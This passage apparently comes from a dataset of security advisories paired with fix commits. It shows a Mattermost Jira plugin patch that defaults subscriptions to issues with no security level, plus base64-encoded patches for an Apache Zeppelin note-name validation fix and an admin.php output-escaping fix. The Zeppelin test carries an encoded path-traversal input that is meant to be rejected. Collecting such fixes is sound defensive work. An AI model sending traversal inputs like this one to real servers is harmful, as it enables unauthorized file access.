+        "toString": "To Do"
+      },
+      {
+        "field": "summary",
+        "fieldtype": "jira",
+        "fieldId": "summary",
+        "from": null,
+        "fromString": null,
+        "to": null,
+        "toString": "Unit test summary"
+      }
+    ]
+  }
+}
diff --git a/server/user.go b/server/user.go
index 38947e8fd..c2a51162f 100644
--- a/server/user.go
+++ b/server/user.go
@@ -190,10 +190,13 @@ func (p *Plugin) UpdateUserDefaults(mattermostUserID, instanceID types.ID, proje
 }
 
 func (p *Plugin) httpGetSettingsInfo(w http.ResponseWriter, r *http.Request) (int, error) {
+	conf := p.getConfig()
 	return respondJSON(w, struct {
-		UIEnabled bool `json:"ui_enabled"`
+		UIEnabled                              bool `json:"ui_enabled"`
+		SecurityLevelEmptyForJiraSubscriptions bool `json:"security_level_empty_for_jira_subscriptions"`
 	}{
-		UIEnabled: p.getConfig().EnableJiraUI,
+		UIEnabled:                              conf.EnableJiraUI,
+		SecurityLevelEmptyForJiraSubscriptions: conf.SecurityLevelEmptyForJiraSubscriptions,
 	})
 }
 
diff --git a/webapp/src/components/modals/channel_subscriptions/__snapshots__/channel_subscription_filters.test.tsx.snap b/webapp/src/components/modals/channel_subscriptions/__snapshots__/channel_subscription_filters.test.tsx.snap
index ef1cfd844..a33535f58 100644
--- a/webapp/src/components/modals/channel_subscriptions/__snapshots__/channel_subscription_filters.test.tsx.snap
+++ b/webapp/src/components/modals/channel_subscriptions/__snapshots__/channel_subscription_filters.test.tsx.snap
@@ -155,6 +155,7 @@ exports[`components/ChannelSubscriptionFilters should match snapshot 1`] = `
         onChange={[Function]}
         removeFilter={[Function]}
         removeValidate={[MockFunction]}
+        securityLevelEmptyForJiraSubscriptions={true}
         theme={Object {}}
         value={
           Object {
diff --git a/webapp/src/components/modals/channel_subscriptions/__snapshots__/edit_channel_subscription.test.tsx.snap b/webapp/src/components/modals/channel_subscriptions/__snapshots__/edit_channel_subscription.test.tsx.snap
index 9ff6146e3..3b0054080 100644
--- a/webapp/src/components/modals/channel_subscriptions/__snapshots__/edit_channel_subscription.test.tsx.snap
+++ b/webapp/src/components/modals/channel_subscriptions/__snapshots__/edit_channel_subscription.test.tsx.snap
@@ -3544,6 +3544,7 @@ exports[`components/EditChannelSubscription should match snapshot after fetching
         }
         onChange={[Function]}
         removeValidate={[Function]}
+        securityLevelEmptyForJiraSubscriptions={true}
         theme={
           Object {
             "awayIndicator": "#ffbc42",
@@ -3611,13 +3612,22 @@ exports[`components/EditChannelSubscription should match snapshot after fetching
               "background": "rgba(61,60,64,0.08)",
               "borderRadius": "4px",
               "fontSize": "13px",
+              "marginBottom": "8px",
               "marginTop": "8px",
               "padding": "10px 12px",
             }
           }
         >
           <span>
-            Project = KT AND IssueType IN (Bug) AND "MJK - Radio Buttons" IN (1) AND affectedVersion IN (d) AND "Epic Link" IN (IDT-24)
+            Project = KT AND IssueType IN (Bug) AND "MJK - Radio Buttons" IN (1) AND affectedVersion IN (d) AND "Epic Link" IN (IDT-24) AND "Security Level" IS EMPTY
+          </span>
+        </div>
+        <div>
+          <span>
+            <strong>
+              Note
+            </strong>
+             that since you have not selected a security level filter, the subscription will only allow issues that have no security level assigned.
           </span>
         </div>
       </div>
diff --git a/webapp/src/components/modals/channel_subscriptions/channel_subscription_filter.test.tsx b/webapp/src/components/modals/channel_subscriptions/channel_subscription_filter.test.tsx
index 56da56f7b..5cd103ae9 100644
--- a/webapp/src/components/modals/channel_subscriptions/channel_subscription_filter.test.tsx
+++ b/webapp/src/components/modals/channel_subscriptions/channel_subscription_filter.test.tsx
@@ -31,6 +31,7 @@ describe('components/ChannelSubscriptionFilter', () => {
         onChange: jest.fn(),
         removeFilter: jest.fn(),
         instanceID: 'https://something.atlassian.net',
+        securityLevelEmptyForJiraSubscriptions: true,
     };
 
     test('should match snapshot', () => {
@@ -116,4 +117,61 @@ describe('components/ChannelSubscriptionFilter', () => {
         result = wrapper.instance().checkFieldConflictError();
         expect(result).toEqual('FieldName does not exist for issue type(s): Task.');
     });
+
+    test('checkInclusionError should return an error string when there is an invalid inclusion value', () => {
+        const props: Props = {
+            ...baseProps,
+            field: {
+                ...baseProps.field,
+                schema: {
+                    ...baseProps.field.schema,
+                    type: 'securitylevel',
+                },
+            },
+        };
+        const wrapper = shallow<ChannelSubscriptionFilter>(
+            <ChannelSubscriptionFilter {...props}/>
+        );
+
+        let isValid;
+        isValid = wrapper.instance().isValid();
+        expect(isValid).toBe(true);
+
+        wrapper.setProps({
+            ...props,
+            value: {
+                inclusion: FilterFieldInclusion.EMPTY,
+                key: 'securitylevel',
+                values: [],
+            },
+        });
+
+        isValid = wrapper.instance().isValid();
+        expect(isValid).toBe(true);
+
+        wrapper.setProps({
+            ...props,
+            value: {
+                inclusion: FilterFieldInclusion.INCLUDE_ANY,
+                key: 'securitylevel',
+                values: [],
+            },
+        });
+
+        isValid = wrapper.instance().isValid();
+        expect(isValid).toBe(true);
+
+        wrapper.setProps({
+            ...props,
+            value: {
+                inclusion: FilterFieldInclusion.EXCLUDE_ANY,
+                key: 'securitylevel',
+                values: [],
+            },
+        });
+
+        isValid = wrapper.instance().isValid();
+        expect(isValid).toBe(false);
+        expect(wrapper.find('.error-text').text()).toEqual('Security level inclusion cannot be "Exclude Any". Note that the default value is now "Empty".');
+    });
 });
diff --git a/webapp/src/components/modals/channel_subscriptions/channel_subscription_filter.tsx b/webapp/src/components/modals/channel_subscriptions/channel_subscription_filter.tsx
index 9abdf12e6..25eddc79b 100644
--- a/webapp/src/components/modals/channel_subscriptions/channel_subscription_filter.tsx
+++ b/webapp/src/components/modals/channel_subscriptions/channel_subscription_filter.tsx
@@ -5,7 +5,7 @@ import {Theme} from 'mattermost-redux/types/preferences';
 import ReactSelectSetting from 'components/react_select_setting';
 import JiraEpicSelector from 'components/data_selectors/jira_epic_selector';
 
-import {isEpicLinkField, isMultiSelectField, isLabelField} from 'utils/jira_issue_metadata';
+import {isEpicLinkField, isMultiSelectField, isLabelField, isSecurityLevelField} from 'utils/jira_issue_metadata';
 import {FilterField, FilterValue, ReactSelectOption, IssueMetadata, IssueType, FilterFieldInclusion} from 'types/model';
 import ConfirmModal from 'components/confirm_modal';
 import JiraAutoCompleteSelector from 'components/data_selectors/jira_autocomplete_selector';
@@ -22,6 +22,7 @@ export type Props = {
     addValidate: (isValid: () => boolean) => void;
     removeValidate: (isValid: () => boolean) => void;
     instanceID: string;
+    securityLevelEmptyForJiraSubscriptions: boolean;
 };
 
 export type State = {
@@ -103,7 +104,13 @@ export default class ChannelSubscriptionFilter extends React.PureComponent<Props
     };
 
     isValid = (): boolean => {
-        const error = this.checkFieldConflictError();
+        let error = this.checkFieldConflictError();
+        if (error) {
+            this.setState({error});
+            return false;
+        }
+
+        error = this.checkInclusionError();
         if (error) {
             this.setState({error});
             return false;
@@ -112,6 +119,16 @@ export default class ChannelSubscriptionFilter extends React.PureComponent<Props
         return true;
     }
 
+    checkInclusionError = (): string | null => {
+        const inclusion = this.props.value && this.props.value.inclusion;
+
+        if (isSecurityLevelField(this.props.field) && inclusion === FilterFieldInclusion.EXCLUDE_ANY && this.props.securityLevelEmptyForJiraSubscriptions) {
+            return 'Security level inclusion cannot be "Exclude Any". Note that the default value is now "Empty".';
+        }
+
+        return null;
+    }
+
     checkFieldConflictError = (): string | null => {
         const conflictIssueTypes = this.getConflictingIssueTypes().map((it) => it.name);
         if (conflictIssueTypes.length) {
@@ -167,13 +184,21 @@ export default class ChannelSubscriptionFilter extends React.PureComponent<Props
         }));
         let chosenFieldType = null;
 
-        const inclusionSelectOptions: ReactSelectOption[] = [
+        let inclusionSelectOptions: ReactSelectOption[] = [
             {label: 'Include', value: FilterFieldInclusion.INCLUDE_ANY},
             {label: 'Include All', value: FilterFieldInclusion.INCLUDE_ALL},
             {label: 'Exclude', value: FilterFieldInclusion.EXCLUDE_ANY},
             {label: 'Empty', value: FilterFieldInclusion.EMPTY},
         ];
 
+        if (isSecurityLevelField(field) && value.inclusion !== FilterFieldInclusion.EXCLUDE_ANY && this.props.securityLevelEmptyForJiraSubscriptions) {
+            inclusionSelectOptions = [
+                {label: 'Include', value: FilterFieldInclusion.INCLUDE_ANY},
+                {label: 'Include All', value: FilterFieldInclusion.INCLUDE_ALL},
+                {label: 'Empty', value: FilterFieldInclusion.EMPTY},
+            ];
+        }
+
         if (!isMultiSelectField(field)) {
             const includeAllIndex = inclusionSelectOptions.findIndex((opt) => opt.value === FilterFieldInclusion.INCLUDE_ALL);
             inclusionSelectOptions.splice(includeAllIndex, 1);
@@ -296,7 +321,7 @@ export default class ChannelSubscriptionFilter extends React.PureComponent<Props
                         className='help-text error-text'
                         style={style.conflictingError}
                     >
-                        {this.checkFieldConflictError()}
+                        {this.state.error}
                     </div>
                 </div>
                 <div className='col-md-11 col-sm-12'>
diff --git a/webapp/src/components/modals/channel_subscriptions/channel_subscription_filters.test.tsx b/webapp/src/components/modals/channel_subscriptions/channel_subscription_filters.test.tsx
index ec59a9796..f3f1b5df1 100644
--- a/webapp/src/components/modals/channel_subscriptions/channel_subscription_filters.test.tsx
+++ b/webapp/src/components/modals/channel_subscriptions/channel_subscription_filters.test.tsx
@@ -58,6 +58,7 @@ describe('components/ChannelSubscriptionFilters', () => {
         removeValidate: jest.fn(),
         onChange: jest.fn(),
         instanceID: 'https://something.atlassian.net',
+        securityLevelEmptyForJiraSubscriptions: true,
     };
 
     test('should match snapshot', () => {
diff --git a/webapp/src/components/modals/channel_subscriptions/channel_subscription_filters.tsx b/webapp/src/components/modals/channel_subscriptions/channel_subscription_filters.tsx
index 8ff79f682..ee75cc00b 100644
--- a/webapp/src/components/modals/channel_subscriptions/channel_subscription_filters.tsx
+++ b/webapp/src/components/modals/channel_subscriptions/channel_subscription_filters.tsx
@@ -16,6 +16,7 @@ export type Props = {
     removeValidate: (isValid: () => boolean) => void;
     onChange: (f: FilterValue[]) => void;
     instanceID: string;
+    securityLevelEmptyForJiraSubscriptions: boolean;
 };
 
 type State = {
@@ -32,7 +33,7 @@ export default class ChannelSubscriptionFilters extends React.PureComponent<Prop
         const index = newValues.findIndex((f) => f === oldValue);
 
         if (index === -1) {
-            newValues.push({inclusion: FilterFieldInclusion.INCLUDE_ANY, values: [], ...newValue});
+            newValues.push({...newValue, inclusion: FilterFieldInclusion.INCLUDE_ANY, values: []});
             this.setState({showCreateRow: false});
         } else {
             newValues.splice(index, 1, newValue);
@@ -104,6 +105,7 @@ export default class ChannelSubscriptionFilters extends React.PureComponent<Prop
                                     addValidate={this.props.addValidate}
                                     removeValidate={this.props.removeValidate}
                                     instanceID={this.props.instanceID}
+                                    securityLevelEmptyForJiraSubscriptions={this.props.securityLevelEmptyForJiraSubscriptions}
                                 />
                             </div>
                         );
diff --git a/webapp/src/components/modals/channel_subscriptions/edit_channel_subscription.test.tsx b/webapp/src/components/modals/channel_subscriptions/edit_channel_subscription.test.tsx
index b2a920a6c..f2e867680 100644
--- a/webapp/src/components/modals/channel_subscriptions/edit_channel_subscription.test.tsx
+++ b/webapp/src/components/modals/channel_subscriptions/edit_channel_subscription.test.tsx
@@ -5,8 +5,8 @@ import React from 'react';
 import {shallow} from 'enzyme';
 
 import Preferences from 'mattermost-redux/constants/preferences';
+import {Channel} from 'mattermost-redux/types/channels';
 
-import cloudProjectMetadata from 'testdata/cloud-get-jira-project-metadata.json';
 import cloudIssueMetadata from 'testdata/cloud-get-create-issue-metadata-for-project.json';
 import serverProjectMetadata from 'testdata/server-get-jira-project-metadata.json';
 import serverIssueMetadata from 'testdata/server-get-create-issue-metadata-for-project-many-fields.json';
@@ -14,7 +14,7 @@ import testChannel from 'testdata/channel.json';
 
 import {IssueMetadata, ProjectMetadata, FilterFieldInclusion} from 'types/model';
 
-import EditChannelSubscription from './edit_channel_subscription';
+import EditChannelSubscription, {Props} from './edit_channel_subscription';
 
 describe('components/EditChannelSubscription', () => {
     const baseActions = {
@@ -71,15 +71,16 @@ describe('components/EditChannelSubscription', () => {
         instance_id: 'https://something.atlassian.net',
     };
 
-    const baseProps = {
+    const baseProps: Props = {
         ...baseActions,
-        channel: testChannel,
+        channel: testChannel as unknown as Channel,
         theme: Preferences.THEMES.default,
         finishEditSubscription: jest.fn(),
         channelSubscriptions: [channelSubscriptionForCloud],
         close: jest.fn(),
         selectedSubscription: channelSubscriptionForCloud,
         creatingSubscription: false,
+        securityLevelEmptyForJiraSubscriptions: true,
     };
 
     const baseState = {
diff --git a/webapp/src/components/modals/channel_subscriptions/edit_channel_subscription.tsx b/webapp/src/components/modals/channel_subscriptions/edit_channel_subscription.tsx
index cbd914ba5..f8163d75f 100644
--- a/webapp/src/components/modals/channel_subscriptions/edit_channel_subscription.tsx
+++ b/webapp/src/components/modals/channel_subscriptions/edit_channel_subscription.tsx
@@ -19,6 +19,7 @@ import {
     getConflictingFields,
     generateJQLStringFromSubscriptionFilters,
     getIssueTypes,
+    filterValueIsSecurityField,
 } from 'utils/jira_issue_metadata';
 
 import {ChannelSubscription, ChannelSubscriptionFilters as ChannelSubscriptionFiltersModel, ReactSelectOption, FilterValue, IssueMetadata} from 'types/model';
@@ -172,6 +173,14 @@ export default class EditChannelSubscription extends PureComponent<Props, State>
         this.setState({conflictingError: null});
     }
 
+    shouldShowEmptySecurityLevelMessage = (): boolean => {
+        if (!this.props.securityLevelEmptyForJiraSubscriptions) {
+            return false;
+        }
+
+        return !this.state.filters.fields.some(filterValueIsSecurityField);
+    }
+
     handleIssueChange = (id: keyof ChannelSubscriptionFiltersModel, value: string[] | null) => {
         const finalValue = value || [];
         const filters = {...this.state.filters, issue_types: finalValue};
@@ -392,14 +401,23 @@ export default class EditChannelSubscription extends PureComponent<Props, State>
                             addValidate={this.validator.addComponent}
                             removeValidate={this.validator.removeComponent}
                             instanceID={this.state.instanceID}
+                            securityLevelEmptyForJiraSubscriptions={this.props.securityLevelEmptyForJiraSubscriptions}
                         />
                         <div>
                             <label className='control-label margin-bottom'>
                                 {'Approximate JQL Output'}
                             </label>
                             <div style={getBaseStyles(this.props.theme).codeBlock}>
-                                <span>{generateJQLStringFromSubscriptionFilters(this.state.jiraIssueMetadata, filterFields, this.state.filters)}</span>
+                                <span>{generateJQLStringFromSubscriptionFilters(this.state.jiraIssueMetadata, filterFields, this.state.filters, this.props.securityLevelEmptyForJiraSubscriptions)}</span>
                             </div>
+                            {this.shouldShowEmptySecurityLevelMessage() && (
+                                <div>
+                                    <span>
+                                        <strong>{'Note'}</strong>
+                                        {' that since you have not selected a security level filter, the subscription will only allow issues that have no security level assigned.'}
+                                    </span>
+                                </div>
+                            )}
                         </div>
                     </React.Fragment>
                 );
diff --git a/webapp/src/components/modals/channel_subscriptions/index.ts b/webapp/src/components/modals/channel_subscriptions/index.ts
index 39606196d..c9133cbb2 100644
--- a/webapp/src/components/modals/channel_subscriptions/index.ts
+++ b/webapp/src/components/modals/channel_subscriptions/index.ts
@@ -25,7 +25,7 @@ import {
     getChannelIdWithSettingsOpen,
     getInstalledInstances,
     getUserConnectedInstances,
-    getDefaultUserInstanceID,
+    getPluginSettings,
 } from 'selectors';
 
 import ChannelSubscriptionsModal from './channel_subscriptions';
@@ -44,6 +44,8 @@ const mapStateToProps = (state) => {
 
     const installedInstances = getInstalledInstances(state);
     const connectedInstances = getUserConnectedInstances(state);
+    const pluginSettings = getPluginSettings(state);
+    const securityLevelEmptyForJiraSubscriptions = pluginSettings.security_level_empty_for_jira_subscriptions;
 
     return {
         omitDisplayName,
@@ -51,6 +53,7 @@ const mapStateToProps = (state) => {
         channel,
         installedInstances,
         connectedInstances,
+        securityLevelEmptyForJiraSubscriptions,
     };
 };
 
diff --git a/webapp/src/components/modals/channel_subscriptions/shared_props.ts b/webapp/src/components/modals/channel_subscriptions/shared_props.ts
index b94d47cb3..61fb43b8e 100644
--- a/webapp/src/components/modals/channel_subscriptions/shared_props.ts
+++ b/webapp/src/components/modals/channel_subscriptions/shared_props.ts
@@ -22,4 +22,5 @@ export type SharedProps = {
     getConnected: () => Promise<GetConnectedResponse>;
     close: () => void;
     sendEphemeralPost: (message: string) => void;
+    securityLevelEmptyForJiraSubscriptions: boolean;
 };
diff --git a/webapp/src/utils/jira_issue_metadata.tsx b/webapp/src/utils/jira_issue_metadata.tsx
index d8247fec4..05ccd7c31 100644
--- a/webapp/src/utils/jira_issue_metadata.tsx
+++ b/webapp/src/utils/jira_issue_metadata.tsx
@@ -8,12 +8,14 @@ import {
     IssueType,
     JiraField,
     FilterField,
+    FilterValue,
     SelectField,
     StringArrayField,
     IssueTypeIdentifier,
     ChannelSubscriptionFilters,
     FilterFieldInclusion,
     JiraFieldCustomTypeEnums,
+    JiraFieldTypeEnums,
 } from 'types/model';
 
 type FieldWithInfo = JiraField & {
@@ -276,6 +278,14 @@ export function isTextField(field: JiraField | FilterField): boolean {
     return field.schema.type === 'string';
 }
 
+export function isSecurityLevelField(field: JiraField | FilterField): boolean {
+    return field.schema.type === 'securitylevel';
+}
+
+export function filterValueIsSecurityField(value: FilterValue): boolean {
+    return value.key === JiraFieldTypeEnums.SECURITY;
+}
+
 // Some Jira fields have special names for JQL
 function getFieldNameForJQL(field: FilterField) {
     switch (field.key) {
@@ -296,7 +306,7 @@ function quoteGuard(s: string) {
     return s;
 }
 
-export function generateJQLStringFromSubscriptionFilters(issueMetadata: IssueMetadata, fields: FilterField[], filters: ChannelSubscriptionFilters) {
+export function generateJQLStringFromSubscriptionFilters(issueMetadata: IssueMetadata, fields: FilterField[], filters: ChannelSubscriptionFilters, securityLevelEmptyForJiraSubscriptions: boolean) {
     const projectJQL = `Project = ${quoteGuard(filters.projects[0]) || '?'}`;
 
     let issueTypeValueString = '?';
@@ -313,7 +323,7 @@ export function generateJQLStringFromSubscriptionFilters(issueMetadata: IssueMet
     }
     const issueTypesJQL = `IssueType IN ${issueTypeValueString}`;
 
-    const filterFieldsJQL = filters.fields.map(({key, inclusion, values}): string => {
+    let filterFieldsJQL = filters.fields.map(({key, inclusion, values}): string => {
         const field = fields.find((f) => f.key === key);
         if (!field) {
             // broken filter
@@ -354,5 +364,13 @@ export function generateJQLStringFromSubscriptionFilters(issueMetadata: IssueMet
         return `${quoteGuard(fieldName)} ${inclusionString} ${valueString}`;
     }).join(' AND ');
 
+    const shouldShowEmptySecurityLevel = securityLevelEmptyForJiraSubscriptions && !filters.fields.some(filterValueIsSecurityField);
+    if (shouldShowEmptySecurityLevel) {
+        if (filterFieldsJQL.length) {
+            filterFieldsJQL += ' AND ';
+        }
+        filterFieldsJQL += '"Security Level" IS EMPTY';
+    }
+
     return [projectJQL, issueTypesJQL, filterFieldsJQL].filter(Boolean).join(' AND ');
 }
diff --git a/webapp/src/utils/styles.ts b/webapp/src/utils/styles.ts
index ab3284c39..2f0744f7c 100644
--- a/webapp/src/utils/styles.ts
+++ b/webapp/src/utils/styles.ts
@@ -12,6 +12,7 @@ export const getBaseStyles = (theme: Theme) => {
             background: changeOpacity(theme.centerChannelColor, 0.08),
             borderRadius: '4px',
             marginTop: '8px',
+            marginBottom: '8px',
             fontSize: '13px',
         }),
     };", "url": "https://github.com/mattermost/mattermost-plugin-jira/commit/5f5e084d169bf6b82d5c46a7a7eb033e1a01c6de.patch" } ]
null
GHSA-6623-c6mr-6737
Apache Zeppelin: Denial of service with invalid notebook name
null
[ { "commit_message": "[PATCH] [HOTFIX] Validate note name (#4632) * [HOTFIX] Validate note name * [HOTFIX] Validate note name * [HOTFIX] Validate note name * Update zeppelin-server/src/test/java/org/apache/zeppelin/service/NotebookServiceTest.java Co-authored-by: Philipp Dallig <philipp.dallig@gmail.com> * Update zeppelin-server/src/main/java/org/apache/zeppelin/service/NotebookService.java Co-authored-by: Philipp Dallig <philipp.dallig@gmail.com> * [HOTFIX] Fix commented Co-authored-by: Philipp Dallig <philipp.dallig@gmail.com> .../org/apache/zeppelin/service/NotebookService.java | 8 ++++++++ .../apache/zeppelin/service/NotebookServiceTest.java | 12 ++++++++++++ 2 files changed, 20 insertions(+)", "patch_text_b64": "RnJvbSBmMDI1YTY5N2MxZDFkMDI2NDA2NGQ1YWRmNmNiMGIyMGQ4NTA0MWI2IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb25neW91bCBMZWUgPGpvbmd5b3VsQGdtYWlsLmNvbT4KRGF0ZTogVHVlLCAxOCBKdWwgMjAyMyAxNToxMzowOCArMDkwMApTdWJqZWN0OiBbUEFUQ0hdIFtIT1RGSVhdIFZhbGlkYXRlIG5vdGUgbmFtZSAoIzQ2MzIpCgoqIFtIT1RGSVhdIFZhbGlkYXRlIG5vdGUgbmFtZQoKKiBbSE9URklYXSBWYWxpZGF0ZSBub3RlIG5hbWUKCiogW0hPVEZJWF0gVmFsaWRhdGUgbm90ZSBuYW1lCgoqIFVwZGF0ZSB6ZXBwZWxpbi1zZXJ2ZXIvc3JjL3Rlc3QvamF2YS9vcmcvYXBhY2hlL3plcHBlbGluL3NlcnZpY2UvTm90ZWJvb2tTZXJ2aWNlVGVzdC5qYXZhCgpDby1hdXRob3JlZC1ieTogUGhpbGlwcCBEYWxsaWcgPHBoaWxpcHAuZGFsbGlnQGdtYWlsLmNvbT4KCiogVXBkYXRlIHplcHBlbGluLXNlcnZlci9zcmMvbWFpbi9qYXZhL29yZy9hcGFjaGUvemVwcGVsaW4vc2VydmljZS9Ob3RlYm9va1NlcnZpY2UuamF2YQoKQ28tYXV0aG9yZWQtYnk6IFBoaWxpcHAgRGFsbGlnIDxwaGlsaXBwLmRhbGxpZ0BnbWFpbC5jb20+CgoqIFtIT1RGSVhdIEZpeCBjb21tZW50ZWQKCi0tLS0tLS0tLQoKQ28tYXV0aG9yZWQtYnk6IFBoaWxpcHAgRGFsbGlnIDxwaGlsaXBwLmRhbGxpZ0BnbWFpbC5jb20+Ci0tLQogLi4uL29yZy9hcGFjaGUvemVwcGVsaW4vc2VydmljZS9Ob3RlYm9va1NlcnZpY2UuamF2YSB8ICA4ICsrKysrKysrCiAuLi4vYXBhY2hlL3plcHBlbGluL3NlcnZpY2UvTm90ZWJvb2tTZXJ2aWNlVGVzdC5qYXZhIHwgMTIgKysrKysrKysrKysrCiAyIGZpbGVzIGNoYW5nZWQsIDIwIGluc2VydGlvbnMoKykKCmRpZmYgLS1naXQgYS96ZXBwZWxpbi1zZXJ2ZXIvc3JjL21haW4vamF2YS9vcmcvYXBhY2hlL3plcHBlbGluL3NlcnZpY2UvTm90ZWJvb2tTZXJ2aWNlLmphdmEgYi96ZXBwZWxpbi1zZXJ2ZXIvc3JjL21haW4vamF2YS9vcmcvYXBhY2hlL3plcHBlbGluL3NlcnZpY2UvTm90ZWJvb2tTZXJ2aWNlLmphdmEKaW5kZXggMmU5ODAzMTgzMDcuLmQxNDgxNTBlNWY2IDEwMDY0NAotLS0gYS96ZXBwZWxpbi1zZXJ2ZXIvc3JjL21haW4vamF2YS9vcmcvYXBhY2hlL3plcHBlbGluL3NlcnZpY2UvTm90ZWJvb2tTZXJ2aWNlLmphdmEKKysrIGIvemVwcGVsaW4tc2VydmVyL3NyYy9tYWluL2phdmEvb3JnL2FwYWNoZS96ZXBwZWxpbi9zZXJ2aWNlL05vdGVib29rU2VydmljZS5qYXZhCkBAIC0yNCw2ICsyNCw4IEBACiBpbXBvcnQgc3RhdGljIG9yZy5hcGFjaGUuemVwcGVsaW4uc2NoZWR1bGVyLkpvYi5TdGF0dXMuQUJPUlQ7CiAKIGltcG9ydCBqYXZhLmlvLklPRXhjZXB0aW9uOworaW1wb3J0IGphdmEubmV0LlVSTERlY29kZXI7CitpbXBvcnQgamF2YS5uaW8uY2hhcnNldC5TdGFuZGFyZENoYXJzZXRzOwogaW1wb3J0IGphdmEudGV4dC5QYXJzZUV4Y2VwdGlvbjsKIGltcG9ydCBqYXZhLnRleHQuU2ltcGxlRGF0ZUZvcm1hdDsKIGltcG9ydCBqYXZhLnRpbWUuSW5zdGFudDsKQEAgLTIzNiw2ICsyMzgsMTIgQEAgU3RyaW5nIG5vcm1hbGl6ZU5vdGVQYXRoKFN0cmluZyBub3RlUGF0aCkgdGhyb3dzIElPRXhjZXB0aW9uIHsKICAgICB9CiAKICAgICBub3RlUGF0aCA9IG5vdGVQYXRoLnJlcGxhY2UoIlxyIiwgIiAiKS5yZXBsYWNlKCJcbiIsICIgIik7CisKKyAgICBub3RlUGF0aCA9IFVSTERlY29kZXIuZGVjb2RlKG5vdGVQYXRoLCBTdGFuZGFyZENoYXJzZXRzLlVURl84LnRvU3RyaW5nKCkpOworICAgIGlmIChub3RlUGF0aC5lbmRzV2l0aCgiLyIpKSB7CisgICAgICB0aHJvdyBuZXcgSU9FeGNlcHRpb24oIk5vdGUgbmFtZSBzaG91bGRuJ3QgZW5kIHdpdGggJy8nIik7CisgICAgfQorCiAgICAgaW50IHBvcyA9IG5vdGVQYXRoLmxhc3RJbmRleE9mKCIvIik7CiAgICAgaWYgKChub3RlUGF0aC5sZW5ndGgoKSAtIHBvcykgPiAyNTUpIHsKICAgICAgIHRocm93IG5ldyBJT0V4Y2VwdGlvbigiTm90ZSBuYW1lIG11c3QgYmUgbGVzcyB0aGFuIDI1NSIpOwpkaWZmIC0tZ2l0IGEvemVwcGVsaW4tc2VydmVyL3NyYy90ZXN0L2phdmEvb3JnL2FwYWNoZS96ZXBwZWxpbi9zZXJ2aWNlL05vdGVib29rU2VydmljZVRlc3QuamF2YSBiL3plcHBlbGluLXNlcnZlci9zcmMvdGVzdC9qYXZhL29yZy9hcGFjaGUvemVwcGVsaW4vc2VydmljZS9Ob3RlYm9va1NlcnZpY2VUZXN0LmphdmEKaW5kZXggZDJiN2FhNzhjNDAuLjAxZTgxYzUzN2M1IDEwMDY0NAotLS0gYS96ZXBwZWxpbi1zZXJ2ZXIvc3JjL3Rlc3QvamF2YS9vcmcvYXBhY2hlL3plcHBlbGluL3NlcnZpY2UvTm90ZWJvb2tTZXJ2aWNlVGVzdC5qYXZhCisrKyBiL3plcHBlbGluLXNlcnZlci9zcmMvdGVzdC9qYXZhL29yZy9hcGFjaGUvemVwcGVsaW4vc2VydmljZS9Ob3RlYm9va1NlcnZpY2VUZXN0LmphdmEKQEAgLTUyOCw1ICs1MjgsMTcgQEAgdm9pZCB0ZXN0Tm9ybWFsaXplTm90ZVBhdGgoKSB0aHJvd3MgSU9FeGNlcHRpb24gewogICAgIH0gY2F0Y2ggKElPRXhjZXB0aW9uIGUpIHsKICAgICAgIGFzc2VydEVxdWFscygiTm90ZSBuYW1lIGNhbiBub3QgY29udGFpbiAnLi4nIiwgZS5nZXRNZXNzYWdlKCkpOwogICAgIH0KKyAgICB0cnkgeworICAgICAgbm90ZWJvb2tTZXJ2aWNlLm5vcm1hbGl6ZU5vdGVQYXRoKCIlMmUlMmUvJTJlJTJlL3RtcC90ZXN0MjIyIik7CisgICAgICBmYWlsKCJTaG91bGQgZmFpbCIpOworICAgIH0gY2F0Y2ggKElPRXhjZXB0aW9uIGUpIHsKKyAgICAgIGFzc2VydEVxdWFscygiTm90ZSBuYW1lIGNhbiBub3QgY29udGFpbiAnLi4nIiwgZS5nZXRNZXNzYWdlKCkpOworICAgIH0KKyAgICB0cnkgeworICAgICAgbm90ZWJvb2tTZXJ2aWNlLm5vcm1hbGl6ZU5vdGVQYXRoKCIuLyIpOworICAgICAgZmFpbCgiU2hvdWxkIGZhaWwiKTsKKyAgICB9IGNhdGNoIChJT0V4Y2VwdGlvbiBlKSB7CisgICAgICBhc3NlcnRFcXVhbHMoIk5vdGUgbmFtZSBzaG91bGRuJ3QgZW5kIHdpdGggJy8nIiwgZS5nZXRNZXNzYWdlKCkpOworICAgIH0KICAgfQogfQ==", "url": "https://github.com/apache/zeppelin/commit/f025a697c1d1d0264064d5adf6cb0b20d85041b6.patch" } ]
null
GHSA-9wxm-f297-p8w3
null
[ { "commit_message": "[PATCH] fix: bug fix (#6296) admin.php | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-)", "patch_text_b64": "RnJvbSA4ZDJkNjAxYWM0MGFjYTc1YmNkMmMzY2YxOTNmNTljOGU1NmQ4NDI1IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBCcmFkeSBNaWxsZXIgPGJyYWR5LmcubWlsbGVyQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyMCBNYXIgMjAyMyAwMzo0MzoxMSArMDgwMApTdWJqZWN0OiBbUEFUQ0hdIGZpeDogYnVnIGZpeCAoIzYyOTYpCgotLS0KIGFkbWluLnBocCB8IDIyICsrKysrKysrKysrLS0tLS0tLS0tLS0KIDEgZmlsZSBjaGFuZ2VkLCAxMSBpbnNlcnRpb25zKCspLCAxMSBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS9hZG1pbi5waHAgYi9hZG1pbi5waHAKaW5kZXggYjQ3MDJiOTY5ZjUuLjU1ODFiOGU0MDEzIDEwMDY0NAotLS0gYS9hZG1pbi5waHAKKysrIGIvYWRtaW4ucGhwCkBAIC0xMjAsMTMgKzEyMCwxMyBAQCBmdW5jdGlvbiBzcWxRdWVyeSgkc3RhdGVtZW50LCAkbGluaykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KIAotICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkPiRzZm5hbWU8L3RkPlxuIjsKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgIDx0ZD4kZGJhc2U8L3RkPlxuIjsKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgIDx0ZD4iIC4gaHRtbHNwZWNpYWxjaGFycygkc2ZuYW1lLCBFTlRfTk9RVU9URVMpIC4gIjwvdGQ+XG4iO